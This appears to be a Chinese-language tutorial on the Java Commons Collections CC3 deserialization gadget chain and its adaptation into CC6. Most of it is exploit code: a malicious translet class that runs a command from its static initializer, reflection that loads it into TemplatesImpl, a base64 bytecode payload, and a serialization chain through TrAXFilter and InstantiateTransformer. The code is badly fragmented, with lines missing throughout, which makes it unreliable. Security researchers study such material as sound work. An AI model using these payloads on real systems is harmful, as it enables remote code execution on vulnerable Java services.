Java

反序列化漏洞中攻击者通常会构造恶意的序列化数据通过触发反序列化操作来执行恶意代码。

TemplatesImpl

deserialization

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

Apache

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

Transformer

TemplatesImpl#getOutputProperties()

TemplatesImpl#getTransletInstance()

TemplatesImpl#defineTransletClasses()

TransletClassLoader#defineClass()

需要注意

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

CC3链分析

之前提到的CC1和CC6的sink(漏洞污染链条的执行点)都在InvokerTransformer上若WAF直接禁用了该类我们可以用CC3来突破CC3的sink在于上面提到的TemplatesImpl的newTransformer方法它最后会调用defineClass()将字节码初始化成一个可控的类若该类是有着精心构造的静态方法的恶意类便可以完成攻击。

那么接下来的问题是从哪里去触发TemplatesImpl的newTransformer方法呢

我们重点关注com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter这个类的构造⽅法中调⽤了

(TransformerImpl)

throwsTransformerConfigurationException{_templates

(TransformerImpl)

templates.newTransformer();_transformerHandler

new

TransformerHandlerImpl(_transformer);_overrideDefaultParser

_transformer.overrideDefaultParser();}

Templates

关于TrAXFilter构造⽅法的调用这里要用到新的Transformer实现类InstantiateTransformer顾名思义实例化转换器它的transform方法会调用将传入的object实例化并传入args自然也会调用其构造方法

public

FunctorException(InstantiateTransformer:

Input

((Class)input).getConstructor(this.iParamTypes);return

此外InstantiateTransformer的构造方法传入的分别就是

paramTypes和args了所以TemplatesImpl实例化对象可以在这里进行传入。

public

到了这一步我们的目的就是调用InstantiateTransformer的transform方法了

纯CC3demo

evil.java(运行项目后生成class文件复制绝对路径即可)

package

com.sun.org.apache.xalan.internal.xsltc.DOM;

import

com.sun.org.apache.xalan.internal.xsltc.TransletException;

import

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import

com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import

com.sun.org.apache.xml.internal.serializer.SerializationHandler;import

class

{Runtime.getRuntime().exec(calc);}

catch

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import

com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import

org.apache.commons.collections.functors.InstantiateTransformer;

import

TemplatesImpl();//设置变量确保函数流程走通Class

templatesClass

templatesClass.getDeclaredField(_name);nameField.setAccessible(true);nameField.set(templates,xxx);Field

bytecodesField

templatesClass.getDeclaredField(_bytecodes);bytecodesField.setAccessible(true);//code是要传的恶意代码byte[]

code

Files.readAllBytes(Paths.get(C:\\Users\\21135\\Desktop\\CC6lab\\target\\classes\\com\\CC3\\evil.class));byte[][]

codes

{code};bytecodesField.set(templates,codes);Field

tfactoryField

templatesClass.getDeclaredField(_tfactory);tfactoryField.setAccessible(true);tfactoryField.set(templates,new

TransformerFactoryImpl());//触发调用函数

new

TrAXFilter(templates);InstantiateTransformer

new

Object[]{templates});instantiateTransformer.transform(TrAXFilter.class);}

根据CC3改CC6

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import

com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import

org.apache.commons.collections.Transformer;

import

org.apache.commons.collections.functors.ChainedTransformer;

import

org.apache.commons.collections.functors.ConstantTransformer;

import

org.apache.commons.collections.functors.InstantiateTransformer;

import

org.apache.commons.collections.keyvalue.TiedMapEntry;

import

org.apache.commons.collections.map.LazyMap;import

import

obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,

value);}public

Base64.getDecoder().decode(yv66vgAAADcANQoACQAkCgAlACYIACcKACUAKAcAKQcAKgoABgArBwAsBwAtAQAGPGluaXQAQAD

KClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMB

AA5MY29tL0NDMy9ldmlsOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu

L2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2Vy

aWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3Jn

L2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4v

b3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsB

AApFeGNlcHRpb25zBwAuAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNs

dGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0

b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0

aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJu

YWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94

bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEA

AWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEA

CWV2aWwuamF2YQwACgALBwAvDAAwADEBAARjYWxjDAAyADMBABNqYXZhL2lvL0lPRXhjZXB0aW9u

AQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoANAEADGNvbS9DQzMvZXZpbAEAQGNvbS9z

dW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNs

ZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNl

cHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVu

dGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAY

KExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACAAJAAAAAAAEAAEACgALAAEADAAAAC8AAQABAAAA

BSq3AAGxAAAAAgANAAAABgABAAAACwAOAAAADAABAAAABQAPABAAAAABABEAEgACAAwAAAA/AAAA

AwAAAAGxAAAAAgANAAAABgABAAAADQAOAAAAIAADAAAAAQAPABAAAAAAAAEAEwAUAAEAAAABABUA

FgACABcAAAAEAAEAGAABABEAGQACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAADwAOAAAA

KgAEAAAAAQAPABAAAAAAAAEAEwAUAAEAAAABABoAGwACAAAAAQAcAB0AAwAXAAAABAABABgACAAe

AAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAA

ABYABQAAABIACQAVAAwAEwANABQAFgAWAA4AAAAMAAEADQAJAB8AIAAAACEAAAAHAAJMBwAFCQAB

obj

TemplatesImpl();setFieldValue(obj,

_bytecodes,

byte[][]{code});setFieldValue(obj,

_name,

TransformerFactoryImpl());Transformer[]

transformers

ConstantTransformer(TrAXFilter.class),new

new

ChainedTransformer(faketransformers);Map

innerMap

transformersChain);TiedMapEntry

tme

valuevalue);outerMap.remove(keykey);setFieldValue(transformersChain,

iTransformers,

ByteArrayOutputStream();ObjectOutputStream

oos

ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();System.out.println(barr);ObjectInputStream

ois

ByteArrayInputStream(barr.toByteArray()));Object

(Object)